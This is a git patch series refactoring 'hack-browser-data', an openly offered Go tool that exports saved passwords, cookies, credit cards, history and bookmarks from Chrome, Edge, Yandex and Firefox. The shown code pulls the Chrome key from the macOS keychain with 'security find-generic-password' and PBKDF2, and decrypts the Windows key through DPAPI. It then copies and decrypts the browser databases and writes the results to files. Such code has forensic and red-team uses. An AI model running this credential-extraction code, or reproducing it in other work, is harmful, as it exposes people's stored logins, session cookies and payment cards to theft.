- &cli.StringFlag{Name: "key-file-path", Aliases: []string{"k"}, Destination: &customKeyPath, Value: "", Usage: "custom key file path"},
},
HideHelpCommand: true,
- Action: func(c *cli.Context) error {
+ Action: func(ctx *cli.Context) error {
var (
- browsers []core.Browser
+ browsers []browser.Browser
err error
)
if verbose {
@@ -47,69 +46,38 @@ func Execute() {
} else {
log.InitLog("error")
}
- if customProfilePath != "" {
- browsers, err = core.PickCustomBrowser(browserName, customProfilePath, customKeyPath)
- if err != nil {
- log.Error(err)
- }
- } else {
- // default select all browsers
- browsers, err = core.PickBrowser(browserName)
- if err != nil {
- log.Error(err)
- }
+ browsers = browser.PickBrowsers(browserName)
+
+ output := outputter.NewOutPutter(outputFormat)
+ if err := output.MakeDir(exportDir); err != nil {
+ panic(err)
}
- err = utils.MakeDir(exportDir)
- if err != nil {
- log.Error(err)
- }
- for _, browser := range browsers {
- err := browser.InitSecretKey()
- if err != nil {
- log.Error(err)
+ for _, b := range browsers {
+ fmt.Printf("%+v\n", b)
+ if err := b.CopyItemFileToLocal(); err != nil {
+ panic(err)
}
- // default select all items
- // you can get single item with browser.GetItem(itemName)
- items, err := browser.GetAllItems()
+ masterKey, err := b.GetMasterKey()
if err != nil {
- log.Error(err)
+ fmt.Println(err)
}
- name := browser.GetName()
- key := browser.GetSecretKey()
- for _, item := range items {
- err := item.CopyDB()
+ browserName := b.GetName()
+ multiData := b.GetBrowsingData()
+ for _, data := range multiData {
+ if err := data.Parse(masterKey); err != nil {
+ fmt.Println(err)
+ }
+ filename := fmt.Sprintf("%s_%s.%s", browserName, data.Name(), outputFormat)
+ file, err := output.CreateFile(exportDir, filename)
if err != nil {
- log.Error(err)
+ panic(err)
}
- switch browser.(type) {
- case *core.Chromium:
- err := item.ChromeParse(key)
- if err != nil {
- log.Error(err)
- }
- case *core.Firefox:
- err := item.FirefoxParse()
- if err != nil {
- log.Error(err)
- }
- }
- err = item.Release()
- if err != nil {
- log.Error(err)
- }
- err = item.OutPut(outputFormat, name, exportDir)
- if err != nil {
- log.Error(err)
+ if err := output.Write(data, file); err != nil {
+ panic(err)
}
}
}
- if compress {
- err = utils.Compress(exportDir)
- if err != nil {
- log.Error(err)
- }
- }
- return nil
+ return err
},
}
err := app.Run(os.Args)
@@ -117,3 +85,99 @@ func Execute() {
log.Error(err)
}
}
+
+// func Execute() {
+// app := &cli.App{
+// Name: "hack-browser-data",
+// Usage: "Export passwords/cookies/history/bookmarks from browser",
+// UsageText: "[hack-browser-data -b chrome -f json -dir results -cc]\n Get all data(password/cookie/history/bookmark) from chrome",
+// Version: "0.3.7",
+// Flags: []cli.Flag{
+// &cli.BoolFlag{Name: "verbose", Aliases: []string{"vv"}, Destination: &verbose, Value: false, Usage: "verbose"},
+// &cli.BoolFlag{Name: "compress", Aliases: []string{"cc"}, Destination: &compress, Value: false, Usage: "compress result to zip"},
+// &cli.StringFlag{Name: "browser", Aliases: []string{"b"}, Destination: &browserName, Value: "all", Usage: "available browsers: all|" + strings.Join(core.ListBrowser(), "|")},
+// &cli.StringFlag{Name: "results-dir", Aliases: []string{"dir"}, Destination: &exportDir, Value: "results", Usage: "export dir"},
+// &cli.StringFlag{Name: "format", Aliases: []string{"f"}, Destination: &outputFormat, Value: "csv", Usage: "format, csv|json|console"},
+// &cli.StringFlag{Name: "profile-dir-path", Aliases: []string{"p"}, Destination: &customProfilePath, Value: "", Usage: "custom profile dir path, get with chrome://version"},
+// },
+// HideHelpCommand: true,
+// Action: func(c *cli.Context) error {
+// var (
+// browsers []core.Browser
+// err error
+// )
+// if verbose {
+// log.InitLog("debug")
+// } else {
+// log.InitLog("error")
+// }
+// if customProfilePath != "" {
+// browsers, err = core.PickCustomBrowser(browserName, customProfilePath, customKeyPath)
+// if err != nil {
+// log.Error(err)
+// }
+// } else {
+// // default select all browsers
+// browsers, err = core.PickBrowser(browserName)
+// if err != nil {
+// log.Error(err)
+// }
+// }
+// err = utils.MakeDir(exportDir)
+// if err != nil {
+// log.Error(err)
+// }
+// for _, browser := range browsers {
+// err := browser.InitSecretKey()
+// if err != nil {
+// log.Error(err)
+// }
+// // default select all items
+// // you can get single item with browser.GetItem(itemName)
+// items, err := browser.GetAllItems()
+// if err != nil {
+// log.Error(err)
+// }
+// name := browser.GetName()
+// key := browser.GetSecretKey()
+// for _, item := range items {
+// err := item.CopyDB()
+// if err != nil {
+// log.Error(err)
+// }
+// switch browser.(type) {
+// case *core.Chromium:
+// err := item.ChromeParse(key)
+// if err != nil {
+// log.Error(err)
+// }
+// case *core.Firefox:
+// err := item.FirefoxParse()
+// if err != nil {
+// log.Error(err)
+// }
+// }
+// err = item.Release()
+// if err != nil {
+// log.Error(err)
+// }
+// err = item.OutPut(outputFormat, name, exportDir)
+// if err != nil {
+// log.Error(err)
+// }
+// }
+// }
+// if compress {
+// err = utils.Compress(exportDir)
+// if err != nil {
+// log.Error(err)
+// }
+// }
+// return nil
+// },
+// }
+// err := app.Run(os.Args)
+// if err != nil {
+// log.Error(err)
+// }
+// }
diff --git a/cmd/hackbrowserdata/main.go b/cmd/hackbrowserdata/main.go
deleted file mode 100644
index 190ebe2..0000000
--- a/cmd/hackbrowserdata/main.go
+++ /dev/null
@@ -1 +0,0 @@
-package hackbrowserdata
diff --git a/core/data/output.go b/core/data/output.go
index 45b7a57..10cd42b 100644
--- a/core/data/output.go
+++ b/core/data/output.go
@@ -17,7 +17,7 @@ var (
)
func (b *bookmarks) outPutJson(browser, dir string) error {
- filename := utils.FormatFileName(dir, browser, "bookmark", "json")
+ filename := utils.FormatFilename(dir, browser, "bookmark", "json")
sort.Slice(b.bookmarks, func(i, j int) bool {
return b.bookmarks[i].ID < b.bookmarks[j].ID
})
@@ -30,7 +30,7 @@ func (b *bookmarks) outPutJson(browser, dir string) error {
}
func (h *historyData) outPutJson(browser, dir string) error {
- filename := utils.FormatFileName(dir, browser, "history", "json")
+ filename := utils.FormatFilename(dir, browser, "history", "json")
sort.Slice(h.history, func(i, j int) bool {
return h.history[i].VisitCount > h.history[j].VisitCount
})
@@ -43,7 +43,7 @@ func (h *historyData) outPutJson(browser, dir string) error {
}
func (d *downloads) outPutJson(browser, dir string) error {
- filename := utils.FormatFileName(dir, browser, "download", "json")
+ filename := utils.FormatFilename(dir, browser, "download", "json")
err := writeToJson(filename, d.downloads)
if err != nil {
return err
@@ -53,7 +53,7 @@ func (d *downloads) outPutJson(browser, dir string) error {
}
func (p *passwords) outPutJson(browser, dir string) error {
- filename := utils.FormatFileName(dir, browser, "password", "json")
+ filename := utils.FormatFilename(dir, browser, "password", "json")
err := writeToJson(filename, p.logins)
if err != nil {
return err
@@ -63,7 +63,7 @@ func (p *passwords) outPutJson(browser, dir string) error {
}
func (c *cookies) outPutJson(browser, dir string) error {
- filename := utils.FormatFileName(dir, browser, "cookie", "json")
+ filename := utils.FormatFilename(dir, browser, "cookie", "json")
err := writeToJson(filename, c.cookies)
if err != nil {
return err
@@ -73,7 +73,7 @@ func (c *cookies) outPutJson(browser, dir string) error {
}
func (c *creditCards) outPutJson(browser, dir string) error {
- filename := utils.FormatFileName(dir, browser, "credit", "json")
+ filename := utils.FormatFilename(dir, browser, "credit", "json")
err := writeToJson(filename, c.cards)
if err != nil {
return err
@@ -104,7 +104,7 @@ func writeToJson(filename string, data interface{}) error {
}
func (b *bookmarks) outPutCsv(browser, dir string) error {
- filename := utils.FormatFileName(dir, browser, "bookmark", "csv")
+ filename := utils.FormatFilename(dir, browser, "bookmark", "csv")
if err := writeToCsv(filename, b.bookmarks); err != nil {
return err
}
@@ -113,7 +113,7 @@ func (b *bookmarks) outPutCsv(browser, dir string) error {
}
func (h *historyData) outPutCsv(browser, dir string) error {
- filename := utils.FormatFileName(dir, browser, "history", "csv")
+ filename := utils.FormatFilename(dir, browser, "history", "csv")
if err := writeToCsv(filename, h.history); err != nil {
return err
}
@@ -122,7 +122,7 @@ func (h *historyData) outPutCsv(browser, dir string) error {
}
func (d *downloads) outPutCsv(browser, dir string) error {
- filename := utils.FormatFileName(dir, browser, "download", "csv")
+ filename := utils.FormatFilename(dir, browser, "download", "csv")
if err := writeToCsv(filename, d.downloads); err != nil {
return err
}
@@ -131,7 +131,7 @@ func (d *downloads) outPutCsv(browser, dir string) error {
}
func (p *passwords) outPutCsv(browser, dir string) error {
- filename := utils.FormatFileName(dir, browser, "password", "csv")
+ filename := utils.FormatFilename(dir, browser, "password", "csv")
if err := writeToCsv(filename, p.logins); err != nil {
return err
}
@@ -140,7 +140,7 @@ func (p *passwords) outPutCsv(browser, dir string) error {
}
func (c *cookies) outPutCsv(browser, dir string) error {
- filename := utils.FormatFileName(dir, browser, "cookie", "csv")
+ filename := utils.FormatFilename(dir, browser, "cookie", "csv")
var tempSlice []cookie
for _, v := range c.cookies {
tempSlice = append(tempSlice, v...)
@@ -153,7 +153,7 @@ func (c *cookies) outPutCsv(browser, dir string) error {
}
func (c *creditCards) outPutCsv(browser, dir string) error {
- filename := utils.FormatFileName(dir, browser, "credit", "csv")
+ filename := utils.FormatFilename(dir, browser, "credit", "csv")
var tempSlice []card
for _, v := range c.cards {
tempSlice = append(tempSlice, v...)
diff --git a/core/data/parse.go b/core/data/parse.go
index 992c82d..de51608 100644
--- a/core/data/parse.go
+++ b/core/data/parse.go
@@ -159,7 +159,7 @@ func (b *bookmarks) FirefoxParse() error {
b.bookmarks = append(b.bookmarks, bookmark{
ID: id,
Name: title,
- Type: utils.BookMarkType(bType),
+ Type: utils.BookmarkType(bType),
URL: bookmarkUrl,
DateAdded: utils.TimeStampFormat(dateAdded / 1000000),
})
diff --git a/go.mod b/go.mod
index 3783eea..3c4bc91 100644
--- a/go.mod
+++ b/go.mod
@@ -1,6 +1,6 @@
module hack-browser-data
-go 1.14
+go 1.16
require (
github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9
diff --git a/pkg/browser/browser.go b/pkg/browser/browser.go
index 2e2a63c..b34a777 100644
--- a/pkg/browser/browser.go
+++ b/pkg/browser/browser.go
@@ -12,17 +12,40 @@ import (
"hack-browser-data/pkg/browser/data"
)
+type Browser interface {
+ GetName() string
+
+ GetMasterKey() ([]byte, error)
+
+ GetBrowsingData() []data.BrowsingData
+
+ CopyItemFileToLocal() error
+}
+
var (
// home dir path not for android and ios
homeDir, _ = os.UserHomeDir()
)
-func PickBrowsers(name string) {
-
+func PickBrowsers(name string) []Browser {
+ var browsers []Browser
+ chromiumList := pickChromium(name)
+ for _, b := range chromiumList {
+ if b != nil {
+ browsers = append(browsers, b)
+ }
+ }
+ firefoxList := pickFirefox(name)
+ for _, b := range firefoxList {
+ if b != nil {
+ browsers = append(browsers, b)
+ }
+ }
+ return browsers
}
-func PickChromium(name string) []*chromium {
- var browsers []*chromium
+func pickChromium(name string) []Browser {
+ var browsers []Browser
name = strings.ToLower(name)
if name == "all" {
for _, choice := range chromiumList {
@@ -45,25 +68,21 @@ func PickChromium(name string) []*chromium {
return nil
}
-func PickFirefox(name string) []*firefox {
- var browsers []*firefox
+func pickFirefox(name string) []Browser {
+ var browsers []Browser
name = strings.ToLower(name)
if name == "all" || name == "firefox" {
for _, v := range firefoxList {
- b, err := newFirefox(v.browserInfo, v.items)
+ multiFirefox, err := newMultiFirefox(v.browserInfo, v.items)
if err != nil {
panic(err)
}
- // b := v.New(v.browserInfo, v.items)
- browsers = append(browsers, b...)
+ for _, browser := range multiFirefox {
+ browsers = append(browsers, browser)
+ }
}
return browsers
}
- // if choice, ok := browserList[name]; ok {
- // b := choice.New(choice.browserInfo, choice.items)
- // browsers = append(browsers, b)
- // return browsers
- // }
return nil
}
@@ -73,25 +92,6 @@ type chromium struct {
itemPaths map[item]string
}
-func (c *chromium) GetProfilePath() string {
- return c.browserInfo.profilePath
-}
-
-func (c *chromium) GetStorageName() string {
- return c.browserInfo.storage
-}
-
-func (c *chromium) GetBrowserName() string {
- return c.browserInfo.name
-}
-
-type firefox struct {
- browserInfo *browserInfo
- items []item
- itemPaths map[item]string
- multiItemPaths map[string]map[item]string
-}
-
// NewBrowser 根据浏览器信息生成 Browser Interface
func newChromium(info *browserInfo, items []item) (*chromium, error) {
c := &chromium{
@@ -106,8 +106,57 @@ func newChromium(info *browserInfo, items []item) (*chromium, error) {
return c, err
}
+func (c *chromium) GetName() string {
+ return c.browserInfo.name
+}
+
+func (c *chromium) GetBrowsingData() []data.BrowsingData {
+ var browsingData []data.BrowsingData
+ for item := range c.itemPaths {
+ d := item.NewBrowsingData()
+ if d != nil {
+ browsingData = append(browsingData, d)
+ }
+ }
+ return browsingData
+}
+
+func (c *chromium) CopyItemFileToLocal() error {
+ for item, sourcePath := range c.itemPaths {
+ var dstFilename = item.FileName()
+ locals, _ := filepath.Glob("*")
+ for _, v := range locals {
+ if v == dstFilename {
+ err := os.Remove(dstFilename)
+ // TODO: Should Continue all iteration error
+ if err != nil {
+ return err
+ }
+ }
+ }
+
+ // TODO: Handle read file error
+ sourceFile, err := ioutil.ReadFile(sourcePath)
+ if err != nil {
+ fmt.Println(err.Error())
+ }
+ err = ioutil.WriteFile(dstFilename, sourceFile, 0777)
+ if err != nil {
+ return err
+ }
+ }
+ return nil
+}
+
+type firefox struct {
+ browserInfo *browserInfo
+ items []item
+ itemPaths map[item]string
+ multiItemPaths map[string]map[item]string
+}
+
// newFirefox
-func newFirefox(info *browserInfo, items []item) ([]*firefox, error) {
+func newMultiFirefox(info *browserInfo, items []item) ([]*firefox, error) {
f := &firefox{
browserInfo: info,
items: items,
@@ -125,7 +174,6 @@ func newFirefox(info *browserInfo, items []item) ([]*firefox, error) {
},
items: items,
itemPaths: value,
- // multiItemPaths: value,
})
}
return firefoxList, nil
@@ -138,7 +186,7 @@ func getFirefoxItemAbsPath(profilePath string, items []item) (map[string]map[ite
return multiItemPaths, err
}
-func (f *firefox) copyItemFileToLocal() error {
+func (f *firefox) CopyItemFileToLocal() error {
for item, sourcePath := range f.itemPaths {
var dstFilename = item.FileName()
locals, _ := filepath.Glob("*")
@@ -163,39 +211,6 @@ func (f *firefox) copyItemFileToLocal() error {
}
}
return nil
- // for name, itemPaths := range f.multiItemPaths {
- // for item, path := range itemPaths {
- // var dstFilename = item.FileName()
- // locals, _ := filepath.Glob("*")
- // for _, v := range locals {
- // if v == dstFilename {
- // // TODO: Should Continue all iteration error
- // err := os.Remove(dstFilename)
- // if err != nil {
- // return err
- // }
- // }
- // }
- // }
- // // if v == dstFilename {
- // // err := os.Remove(dstFilename)
- // // if err != nil {
- // // return err
- // // }
- // // }
- // // }
- // //
- // // // TODO: Handle read file name error
- // // sourceFile, err := ioutil.ReadFile(sourcePath)
- // // if err != nil {
- // // fmt.Println(err.Error())
- // // }
- // // err = ioutil.WriteFile(dstFilename, sourceFile, 0777)
- // // if err != nil {
- // // return err
- // // }
- // }
- // return nil
}
func firefoxWalkFunc(items []item, multiItemPaths map[string]map[item]string) filepath.WalkFunc {
@@ -239,49 +254,11 @@ func getChromiumItemAbsPath(profilePath string, items []item) (map[item]string,
return itemPaths, err
}
-func (c *chromium) copyItemFileToLocal() error {
- for item, sourcePath := range c.itemPaths {
- var dstFilename = item.FileName()
- locals, _ := filepath.Glob("*")
- for _, v := range locals {
- if v == dstFilename {
- err := os.Remove(dstFilename)
- // TODO: Should Continue all iteration error
- if err != nil {
- return err
- }
- }
- }
-
- // TODO: Handle read file name error
- sourceFile, err := ioutil.ReadFile(sourcePath)
- if err != nil {
- fmt.Println(err.Error())
- }
- err = ioutil.WriteFile(dstFilename, sourceFile, 0777)
- if err != nil {
- return err
- }
- }
- return nil
-}
-
-func (c *chromium) GetBrowsingData() []data.BrowsingData {
- var browsingData []data.BrowsingData
- for item := range c.itemPaths {
- if item != chromiumKey {
- d := item.NewBrowsingData()
- browsingData = append(browsingData, d)
- }
- }
- return browsingData
-}
-
func (f *firefox) GetMasterKey() ([]byte, error) {
return f.browserInfo.masterKey, nil
}
-func (f *firefox) GetBrowserName() string {
+func (f *firefox) GetName() string {
return f.browserInfo.name
}
@@ -295,6 +272,16 @@ func (f *firefox) GetBrowsingData() []data.BrowsingData {
}
return browsingData
}
+func ListBrowser() []string {
+ var l []string
+ for c := range chromiumList {
+ l = append(l, c)
+ }
+ for f := range firefoxList {
+ l = append(l, f)
+ }
+ return l
+}
type browserInfo struct {
name string
@@ -307,6 +294,7 @@ const (
chromeName = "Chrome"
edgeName = "Edge"
firefoxName = "Firefox"
+ yandexName = "Yandex"
)
var defaultFirefoxItems = []item{
@@ -321,6 +309,18 @@ var defaultFirefoxItems = []item{
firefoxExtension,
}
+var defaultYandexItems = []item{
+ chromiumKey,
+ yandexPassword,
+ chromiumCookie,
+ chromiumBookmark,
+ chromiumHistory,
+ chromiumDownload,
+ yandexCreditCard,
+ chromiumLocalStorage,
+ chromiumExtension,
+}
+
var defaultChromiumItems = []item{
chromiumKey,
chromiumPassword,
diff --git a/pkg/browser/browser_darwin.go b/pkg/browser/browser_darwin.go
index 0b0177d..2a167d8 100644
--- a/pkg/browser/browser_darwin.go
+++ b/pkg/browser/browser_darwin.go
@@ -18,12 +18,10 @@ var (
"chrome": {
browserInfo: chromeInfo,
items: defaultChromiumItems,
- // New: newBrowser,
},
"edge": {
browserInfo: edgeInfo,
items: defaultChromiumItems,
- // New: newBrowser,
},
}
firefoxList = map[string]struct {
@@ -47,7 +45,7 @@ func (c *chromium) GetMasterKey() ([]byte, error) {
stdout, stderr bytes.Buffer
)
// $ security find-generic-password -wa 'Chrome'
- cmd = exec.Command("security", "find-generic-password", "-wa", c.GetStorageName())
+ cmd = exec.Command("security", "find-generic-password", "-wa", c.browserInfo.storage)
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err := cmd.Run()
@@ -66,7 +64,7 @@ func (c *chromium) GetMasterKey() ([]byte, error) {
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New)
c.browserInfo.masterKey = key
- return c.browserInfo.masterKey, nil
+ return key, nil
}
var (
@@ -82,7 +80,7 @@ var (
}
firefoxInfo = &browserInfo{
name: firefoxName,
- profilePath: fireFoxProfilePath,
+ profilePath: firefoxProfilePath,
}
)
@@ -98,8 +96,9 @@ const (
coccocProfilePath = "/Library/Application Support/Coccoc/"
yandexProfilePath = "/Library/Application Support/Yandex/YandexBrowser/"
- fireFoxProfilePath = "/Library/Application Support/Firefox/Profiles/"
+ firefoxProfilePath = "/Library/Application Support/Firefox/Profiles/"
)
+
const (
chromeStorageName = "Chrome"
chromeBetaStorageName = "Chrome"
diff --git a/pkg/browser/browser_linux.go b/pkg/browser/browser_linux.go
new file mode 100644
index 0000000..199464e
--- /dev/null
+++ b/pkg/browser/browser_linux.go
@@ -0,0 +1 @@
+package browser
diff --git a/pkg/browser/browser_test.go b/pkg/browser/browser_test.go
index d5f9525..f19eb61 100644
--- a/pkg/browser/browser_test.go
+++ b/pkg/browser/browser_test.go
@@ -5,10 +5,12 @@ import (
"testing"
"hack-browser-data/pkg/browser/outputter"
+ "hack-browser-data/pkg/log"
)
func TestPickChromium(t *testing.T) {
- browsers := PickChromium("all")
+ browsers := pickChromium("chrome")
+ log.InitLog("debug")
filetype := "json"
dir := "result"
output := outputter.NewOutPutter(filetype)
@@ -17,21 +19,16 @@ func TestPickChromium(t *testing.T) {
}
for _, b := range browsers {
fmt.Printf("%+v\n", b)
- if err := b.copyItemFileToLocal(); err != nil {
+ if err := b.CopyItemFileToLocal(); err != nil {
panic(err)
}
masterKey, err := b.GetMasterKey()
if err != nil {
fmt.Println(err)
}
- browserName := b.GetBrowserName()
+ browserName := b.GetName()
multiData := b.GetBrowsingData()
- // TODO: 优化获取 Data 逻辑
for _, data := range multiData {
- if data == nil {
- fmt.Println(data)
- continue
- }
if err := data.Parse(masterKey); err != nil {
fmt.Println(err)
}
@@ -48,7 +45,7 @@ func TestPickChromium(t *testing.T) {
}
func TestPickFirefox(t *testing.T) {
- browsers := PickFirefox("all")
+ browsers := pickFirefox("all")
filetype := "json"
dir := "result"
output := outputter.NewOutPutter(filetype)
@@ -57,16 +54,15 @@ func TestPickFirefox(t *testing.T) {
}
for _, b := range browsers {
fmt.Printf("%+v\n", b)
- if err := b.copyItemFileToLocal(); err != nil {
+ if err := b.CopyItemFileToLocal(); err != nil {
panic(err)
}
masterKey, err := b.GetMasterKey()
if err != nil {
fmt.Println(err)
}
- browserName := b.GetBrowserName()
+ browserName := b.GetName()
multiData := b.GetBrowsingData()
- // TODO: 优化获取 Data 逻辑
for _, data := range multiData {
if err := data.Parse(masterKey); err != nil {
fmt.Println(err)
diff --git a/pkg/browser/browser_windows.go b/pkg/browser/browser_windows.go
new file mode 100644
index 0000000..e092d48
--- /dev/null
+++ b/pkg/browser/browser_windows.go
@@ -0,0 +1,98 @@
+package browser
+
+import (
+ "encoding/base64"
+ "errors"
+
+ "github.com/tidwall/gjson"
+
+ "hack-browser-data/pkg/browser/consts"
+ "hack-browser-data/pkg/decrypter"
+ "hack-browser-data/utils"
+)
+
+var (
+ chromiumList = map[string]struct {
+ browserInfo *browserInfo
+ items []item
+ }{
+ "chrome": {
+ browserInfo: chromeInfo,
+ items: defaultChromiumItems,
+ },
+ "edge": {
+ browserInfo: edgeInfo,
+ items: defaultChromiumItems,
+ },
+ "yandex": {
+ browserInfo: yandexInfo,
+ items: defaultYandexItems,
+ },
+ }
+ firefoxList = map[string]struct {
+ browserInfo *browserInfo
+ items []item
+ }{
+ "firefox": {
+ browserInfo: firefoxInfo,
+ items: defaultFirefoxItems,
+ },
+ }
+)
+
+var (
+ errDecodeMasterKeyFailed = errors.New("decode master key failed")
+)
+
+func (c *chromium) GetMasterKey() ([]byte, error) {
+ keyFile, err := utils.ReadFile(consts.ChromiumKeyFilename)
+ if err != nil {
+ return nil, err
+ }
+ encryptedKey := gjson.Get(keyFile, "os_crypt.encrypted_key")
+ if encryptedKey.Exists() {
+ pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String())
+ if err != nil {
+ return nil, errDecodeMasterKeyFailed
+ }
+ c.browserInfo.masterKey, err = decrypter.DPApi(pureKey[5:])
+ return c.browserInfo.masterKey, err
+ }
+ return nil, nil
+}
+
+var (
+ chromeInfo = &browserInfo{
+ name: chromeName,
+ profilePath: chromeProfilePath,
+ }
+ edgeInfo = &browserInfo{
+ name: edgeName,
+ profilePath: edgeProfilePath,
+ }
+ yandexInfo = &browserInfo{
+ name: yandexName,
+ profilePath: edgeProfilePath,
+ }
+ firefoxInfo = &browserInfo{
+ name: firefoxName,
+ profilePath: firefoxProfilePath,
+ }
+)
+
+const (
+ chromeProfilePath = "/AppData/Local/Google/Chrome/User Data/"
+ chromeBetaProfilePath = "/AppData/Local/Google/Chrome Beta/User Data/"
+ chromiumProfilePath = "/AppData/Local/Chromium/User Data/"
+ edgeProfilePath = "/AppData/Local/Microsoft/Edge/User Data/"
+ braveProfilePath = "/AppData/Local/BraveSoftware/Brave-Browser/User Data/"
+ speed360ProfilePath = "/AppData/Local/360chrome/Chrome/User Data/"
+ qqBrowserProfilePath = "/AppData/Local/Tencent/QQBrowser/User Data/"
+ operaProfilePath = "/AppData/Roaming/Opera Software/Opera Stable/"
+ operaGXProfilePath = "/AppData/Roaming/Opera Software/Opera GX Stable/"
+ vivaldiProfilePath = "/AppData/Local/Vivaldi/User Data/Default/"
+ coccocProfilePath = "/AppData/Local/CocCoc/Browser/User Data/Default/"
+ yandexProfilePath = "/AppData/Local/Yandex/YandexBrowser/User Data/Default"
+
+ firefoxProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles"
+)
diff --git a/pkg/browser/consts/filename.go b/pkg/browser/consts/filename.go
index 2f2f35d..16fcb30 100644
--- a/pkg/browser/consts/filename.go
+++ b/pkg/browser/consts/filename.go
@@ -19,8 +19,8 @@ const (
FirefoxPassword = "logins.json"
FirefoxData = "places.sqlite"
- UnknownItem = "unknown item"
- UnSupportItem = "unsupport item"
+ UnknownItem = "unknown item"
+ UnsupportedItem = "unsupported item"
)
// item's renamed filename
diff --git a/pkg/browser/data/bookmark.go b/pkg/browser/data/bookmark.go
index 9de9411..9c66dda 100644
--- a/pkg/browser/data/bookmark.go
+++ b/pkg/browser/data/bookmark.go
@@ -96,7 +96,7 @@ func (f *FirefoxBookmark) Parse(masterKey []byte) error {
*f = append(*f, bookmark{
ID: id,
Name: title,
- Type: utils.BookMarkType(bType),
+ Type: utils.BookmarkType(bType),
URL: url,
DateAdded: utils.TimeStampFormat(dateAdded / 1000000),
})
diff --git a/pkg/browser/item.go b/pkg/browser/item.go
index 745ecce..3f7968f 100644
--- a/pkg/browser/item.go
+++ b/pkg/browser/item.go
@@ -67,13 +67,13 @@ func (i item) DefaultName() string {
case firefoxDownload:
return consts.FirefoxData
case firefoxLocalStorage:
- return consts.UnSupportItem
+ return consts.UnsupportedItem
case firefoxCreditCard:
- return consts.UnSupportItem
+ return consts.UnsupportedItem
case firefoxHistory:
return consts.FirefoxData
case firefoxExtension:
- return consts.UnSupportItem
+ return consts.UnsupportedItem
default:
return consts.UnknownItem
}
@@ -98,7 +98,11 @@ func (i item) FileName() string {
case chromiumHistory:
return consts.ChromiumHistoryFilename
case chromiumExtension:
- return consts.UnSupportItem
+ return consts.UnsupportedItem
+ case yandexPassword:
+ return consts.ChromiumPasswordFilename
+ case yandexCreditCard:
+ return consts.ChromiumCreditFilename
case firefoxKey4:
return consts.FirefoxKey4Filename
case firefoxPassword:
@@ -110,13 +114,13 @@ func (i item) FileName() string {
case firefoxDownload:
return consts.FirefoxDownloadFilename
case firefoxLocalStorage:
- return consts.UnSupportItem
+ return consts.UnsupportedItem
case firefoxCreditCard:
- return consts.UnSupportItem
+ return consts.UnsupportedItem
case firefoxHistory:
return consts.FirefoxHistoryFilename
case firefoxExtension:
- return consts.UnSupportItem
+ return consts.UnsupportedItem
default:
return consts.UnknownItem
}
@@ -142,6 +146,10 @@ func (i item) NewBrowsingData() data.BrowsingData {
return nil
case chromiumHistory:
return &data.ChromiumHistory{}
+ case yandexPassword:
+ return &data.ChromiumPassword{}
+ case yandexCreditCard:
+ return &data.ChromiumCreditCard{}
case firefoxPassword:
return &data.FirefoxPassword{}
case firefoxCookie:
diff --git a/pkg/browser/outputter/outputter.go b/pkg/browser/outputter/outputter.go
index 9e57a3c..e330254 100644
--- a/pkg/browser/outputter/outputter.go
+++ b/pkg/browser/outputter/outputter.go
@@ -3,7 +3,6 @@ package outputter
import (
"encoding/csv"
"errors"
- "fmt"
"io"
"os"
"path/filepath"
@@ -73,7 +72,6 @@ func (o *outPutter) CreateFile(dirname, filename string) (*os.File, error) {
var err error
p := filepath.Join(dirname, filename)
file, err = os.OpenFile(p, os.O_TRUNC|os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666)
- fmt.Println(err)
if err != nil {
return nil, err
}
diff --git a/pkg/decrypter/decrypt_windows.go b/pkg/decrypter/decrypt_windows.go
index 4b8aaec..7dda3f0 100644
--- a/pkg/decrypter/decrypt_windows.go
+++ b/pkg/decrypter/decrypt_windows.go
@@ -54,6 +54,7 @@ func (b *dataBlob) ToByteArray() []byte {
return d
}
+// DPApi
// chrome < 80 https://chromium.googlesource.com/chromium/src/+/76f496a7235c3432983421402951d73905c8be96/components/os_crypt/os_crypt_win.cc#82
func DPApi(data []byte) ([]byte, error) {
dllCrypt := syscall.NewLazyDLL("Crypt32.dll")
diff --git a/utils/utils.go b/utils/utils.go
index 060ac62..e67d9c8 100644
--- a/utils/utils.go
+++ b/utils/utils.go
@@ -23,7 +23,7 @@ func IntToBool(a int) bool {
return true
}
-func BookMarkType(a int64) string {
+func BookmarkType(a int64) string {
switch a {
case 1:
return "url"
@@ -66,7 +66,7 @@ func WriteFile(filename string, data []byte) error {
return err
}
-func FormatFileName(dir, browser, filename, format string) string {
+func FormatFilename(dir, browser, filename, format string) string {
r := strings.Replace(strings.TrimSpace(strings.ToLower(browser)), " ", "_", -1)
p := path.Join(dir, fmt.Sprintf("%s_%s.%s", r, filename, format))
return p
From f8b1de4666007a31a4eb621b6dd071338e5e62ff Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?=
Date: Sat, 26 Mar 2022 14:03:40 +0800
Subject: [PATCH 10/33] refactor: format project layout
---
cmd/cmd.go | 12 +-
core/browser.go | 2 +-
core/browser_linux.go | 2 +-
core/browser_windows.go | 2 +-
core/data/output.go | 4 +-
core/data/parse.go | 4 +-
{pkg => internal}/browser/browser.go | 66 +++++++---
{pkg => internal}/browser/browser_darwin.go | 114 +++++++++++++++---
{pkg => internal}/browser/browser_linux.go | 0
{pkg => internal}/browser/browser_test.go | 14 ++-
{pkg => internal}/browser/browser_windows.go | 6 +-
{pkg => internal}/browser/consts/filename.go | 0
{pkg => internal}/browser/consts/sql.go | 0
{pkg => internal}/browser/data/bookmark.go | 4 +-
.../browser/data/browsingdata.go | 0
{pkg => internal}/browser/data/cookie.go | 6 +-
{pkg => internal}/browser/data/creditcard.go | 6 +-
{pkg => internal}/browser/data/download.go | 4 +-
{pkg => internal}/browser/data/history.go | 4 +-
{pkg => internal}/browser/data/password.go | 22 ++--
{pkg => internal}/browser/item.go | 32 ++---
.../browser/outputter/outputter.go | 2 +-
.../decrypter/decrypter.go | 0
.../decrypter/decrypter_darwin.go | 0
.../decrypter/decrypter_linux.go | 0
.../decrypter/decrypter_windows.go | 0
{pkg => internal}/log/log.go | 0
{utils => internal/utils}/utils.go | 2 +-
28 files changed, 214 insertions(+), 94 deletions(-)
rename {pkg => internal}/browser/browser.go (80%)
rename {pkg => internal}/browser/browser_darwin.go (60%)
